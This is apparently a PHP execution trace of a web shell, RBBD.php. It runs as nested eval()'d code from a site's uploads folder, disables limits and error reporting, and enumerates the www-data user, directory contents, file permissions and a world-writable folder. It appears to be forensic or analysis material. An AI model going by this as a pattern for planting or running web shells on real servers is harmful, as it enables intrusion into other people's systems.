5	33	0	0.009705	968088	set_time_limit	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	12	1	0
5	33	1	0.009724	968120
5	33	R			FALSE
5	34	0	0.009738	968088	error_reporting	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	13	1	0
5	34	1	0.009752	968128
5	34	R			22527
5	35	0	0.009765	968088	get_magic_quotes_gpc	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	24	0
5	35	1	0.009778	968088
5	35	R			FALSE
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	57	$nick = 'k0v3T'
5	36	0	0.009807	968088	getcwd	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	61	0
5	36	1	0.009821	968136
5	36	R			'/var/www/html/uploads'
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	61	$path = '/var/www/html/uploads'
5	37	0	0.009848	968136	getenv	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	63	1	'SERVER_SOFTWARE'
5	37	1	0.009866	968216
5	37	R			'Apache/2.4.52 (Ubuntu)'
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	63	$software = 'Apache/2.4.52 (Ubuntu)'
5	38	0	0.009893	968184	str_replace	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	64	3	'\\'	'/'	'/var/www/html/uploads'
5	38	1	0.009910	968280
5	38	R			'/var/www/html/uploads'
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	64	$path = '/var/www/html/uploads'
5	39	0	0.009936	968184	explode	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	65	2	'/'	'/var/www/html/uploads'
5	39	1	0.009952	968760
5	39	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	65	$paths = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
5	40	0	0.009987	968688	function_exists	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	70	1	'posix_getegid'
5	40	1	0.010002	968728
5	40	R			TRUE
5	41	0	0.010016	968688	posix_geteuid	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	76	0
5	41	1	0.010031	968688
5	41	R			33
5	42	0	0.010043	968688	posix_getpwuid	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	76	1	33
5	42	1	0.010079	969520
5	42	R			['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	76	$uid = ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
5	43	0	0.010125	969488	posix_getegid	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	77	0
5	43	1	0.010138	969488
5	43	R			33
5	44	0	0.010156	969488	posix_getgrgid	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	77	1	33
5	44	1	0.010185	970152
5	44	R			['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	77	$gid = ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	78	$user = 'www-data'
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	79	$uid = 33
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	80	$group = 'www-data'
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	81	$gid = 33
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	85	$id = 0
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	87	$a = TRUE
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	85	$id = 1
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	93	$i = 0
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	93	$i++
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	93	$i++
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	85	$id = 2
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	93	$i = 0
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	93	$i++
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	93	$i++
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	93	$i++
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	85	$id = 3
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	93	$i = 0
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	93	$i++
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	93	$i++
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	93	$i++
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	93	$i++
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	85	$id = 4
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	93	$i = 0
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	93	$i++
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	93	$i++
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	93	$i++
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	93	$i++
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	93	$i++
5	45	0	0.010514	968768	scandir	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1123	1	'/var/www/html/uploads'
5	45	1	0.010557	969392
5	45	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'RBBD.php', 4 => 'data', 5 => 'prepend.php']
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1123	$scandir = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'RBBD.php', 4 => 'data', 5 => 'prepend.php']
5	46	0	0.010598	969408	is_dir	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1133	1	'/var/www/html/uploads/.'
5	46	1	0.010617	969472
5	46	R			TRUE
5	47	0	0.010631	969440	is_dir	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1133	1	'/var/www/html/uploads/..'
5	47	1	0.010646	969488
5	47	R			TRUE
5	48	0	0.010659	969448	is_dir	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1133	1	'/var/www/html/uploads/.htaccess'
5	48	1	0.010676	969488
5	48	R			FALSE
5	49	0	0.010689	969448	is_dir	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1133	1	'/var/www/html/uploads/RBBD.php'
5	49	1	0.010704	969488
5	49	R			FALSE
5	50	0	0.010716	969448	is_dir	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1133	1	'/var/www/html/uploads/data'
5	50	1	0.010732	969488
5	50	R			TRUE
5	51	0	0.010757	969416	is_writable	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1139	1	'/var/www/html/uploads/data'
5	51	1	0.010775	969456
5	51	R			TRUE
5	52	0	0.010789	969416	perms	1		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1141	1	'/var/www/html/uploads/data'
6	53	0	0.010804	969416	fileperms	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1205	1	'/var/www/html/uploads/data'
6	53	1	0.010820	969456
6	53	R			16895
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1205	$perms = 16895
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1221	$info = 'd'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1234	$info .= 'r'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1235	$info .= 'w'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1238	$info .= 'x'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1241	$info .= 'r'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1242	$info .= 'w'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1245	$info .= 'x'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1248	$info .= 'r'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1249	$info .= 'w'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1252	$info .= 'x'
5	52	1	0.010962	969456
5	52	R			'drwxrwxrwx'
5	54	0	0.010977	969416	is_writable	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1142	1	'/var/www/html/uploads/data'
5	54	1	0.010993	969456
5	54	R			TRUE
5	55	0	0.011008	969424	is_dir	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1133	1	'/var/www/html/uploads/prepend.php'
5	55	1	0.011025	969472
5	55	R			FALSE
5	56	0	0.011039	969416	is_file	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1161	1	'/var/www/html/uploads/.'
5	56	1	0.011055	969440
5	56	R			FALSE
5	57	0	0.011067	969408	is_file	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1161	1	'/var/www/html/uploads/..'
5	57	1	0.011082	969456
5	57	R			FALSE
5	58	0	0.011095	969416	is_file	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1161	1	'/var/www/html/uploads/.htaccess'
5	58	1	0.011110	969456
5	58	R			TRUE
5	59	0	0.011123	969416	filesize	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1162	1	'/var/www/html/uploads/.htaccess'
5	59	1	0.011137	969456
5	59	R			64
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1162	$size = 0.0625
5	60	0	0.011162	969360	round	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1163	2	0.0625	3
5	60	1	0.011178	969432
5	60	R			0.063
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1163	$size = 0.063
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1167	$size = '0.063 KB'
5	61	0	0.011218	969456	is_writable	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1175	1	'/var/www/html/uploads/.htaccess'
5	61	1	0.011234	969496
5	61	R			FALSE
5	62	0	0.011247	969456	is_readable	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1176	1	'/var/www/html/uploads/.htaccess'
5	62	1	0.011262	969496
5	62	R			TRUE
5	63	0	0.011276	969456	perms	1		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1177	1	'/var/www/html/uploads/.htaccess'
6	64	0	0.011288	969456	fileperms	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1205	1	'/var/www/html/uploads/.htaccess'
6	64	1	0.011302	969496
6	64	R			33188
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1205	$perms = 33188
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1215	$info = '-'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1234	$info .= 'r'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1235	$info .= 'w'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1238	$info .= '-'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1241	$info .= 'r'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1242	$info .= '-'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1245	$info .= '-'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1248	$info .= 'r'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1249	$info .= '-'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1252	$info .= '-'
5	63	1	0.011595	969496
5	63	R			'-rw-r--r--'
5	65	0	0.011610	969456	is_writable	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1178	1	'/var/www/html/uploads/.htaccess'
5	65	1	0.011627	969496
5	65	R			FALSE
5	66	0	0.011646	969456	is_readable	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1178	1	'/var/www/html/uploads/.htaccess'
5	66	1	0.011662	969496
5	66	R			TRUE
5	67	0	0.011676	969456	is_file	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1161	1	'/var/www/html/uploads/RBBD.php'
5	67	1	0.011692	969496
5	67	R			TRUE
5	68	0	0.011705	969456	filesize	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1162	1	'/var/www/html/uploads/RBBD.php'
5	68	1	0.011718	969496
5	68	R			28546
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1162	$size = 27.876953125
5	69	0	0.011744	969360	round	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1163	2	27.876953125	3
5	69	1	0.011759	969432
5	69	R			27.877
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1163	$size = 27.877
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1167	$size = '27.877 KB'
5	70	0	0.011798	969456	is_writable	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1175	1	'/var/www/html/uploads/RBBD.php'
5	70	1	0.011814	969496
5	70	R			FALSE
5	71	0	0.011828	969456	is_readable	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1176	1	'/var/www/html/uploads/RBBD.php'
5	71	1	0.011843	969496
5	71	R			TRUE
5	72	0	0.011856	969456	perms	1		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1177	1	'/var/www/html/uploads/RBBD.php'
6	73	0	0.011870	969456	fileperms	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1205	1	'/var/www/html/uploads/RBBD.php'
6	73	1	0.011883	969496
6	73	R			33204
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1205	$perms = 33204
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1215	$info = '-'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1234	$info .= 'r'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1235	$info .= 'w'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1238	$info .= '-'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1241	$info .= 'r'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1242	$info .= 'w'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1245	$info .= '-'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1248	$info .= 'r'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1249	$info .= '-'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1252	$info .= '-'
5	72	1	0.012014	969496
5	72	R			'-rw-rw-r--'
5	74	0	0.012028	969456	is_writable	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1178	1	'/var/www/html/uploads/RBBD.php'
5	74	1	0.012044	969496
5	74	R			FALSE
5	75	0	0.012057	969456	is_readable	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1178	1	'/var/www/html/uploads/RBBD.php'
5	75	1	0.012072	969496
5	75	R			TRUE
5	76	0	0.012086	969456	is_file	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1161	1	'/var/www/html/uploads/data'
5	76	1	0.012101	969496
5	76	R			FALSE
5	77	0	0.012114	969464	is_file	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1161	1	'/var/www/html/uploads/prepend.php'
5	77	1	0.012130	969512
5	77	R			TRUE
5	78	0	0.012142	969472	filesize	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1162	1	'/var/www/html/uploads/prepend.php'
5	78	1	0.012156	969512
5	78	R			57
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1162	$size = 0.0556640625
5	79	0	0.012180	969368	round	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1163	2	0.0556640625	3
5	79	1	0.012194	969440
5	79	R			0.056
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1163	$size = 0.056
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1167	$size = '0.056 KB'
5	80	0	0.012341	969472	is_writable	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1175	1	'/var/www/html/uploads/prepend.php'
5	80	1	0.012361	969512
5	80	R			FALSE
5	81	0	0.012374	969472	is_readable	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1176	1	'/var/www/html/uploads/prepend.php'
5	81	1	0.012390	969512
5	81	R			TRUE
5	82	0	0.012403	969472	perms	1		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1177	1	'/var/www/html/uploads/prepend.php'
6	83	0	0.012422	969472	fileperms	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1205	1	'/var/www/html/uploads/prepend.php'
6	83	1	0.012436	969512
6	83	R			33261
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1205	$perms = 33261
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1215	$info = '-'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1234	$info .= 'r'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1235	$info .= 'w'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1238	$info .= 'x'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1241	$info .= 'r'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1242	$info .= '-'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1245	$info .= 'x'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1248	$info .= 'r'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1249	$info .= '-'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1252	$info .= 'x'
5	82	1	0.012568	969512
5	82	R			'-rwxr-xr-x'
5	84	0	0.012582	969472	is_writable	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1178	1	'/var/www/html/uploads/prepend.php'
5	84	1	0.012597	969512
5	84	R			FALSE
5	85	0	0.012611	969472	is_readable	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1178	1	'/var/www/html/uploads/prepend.php'
5	85	1	0.012626	969512
5	85	R			TRUE
4	25	1	0.012647	969408
3	23	1	0.012687	727080
3	23	R			NULL
2	19	1	0.012702	566528
2	19	R			NULL
1	3	1	0.012718	480464
			0.012757	397344
TRACE END   [2023-02-12 23:31:53.829100]

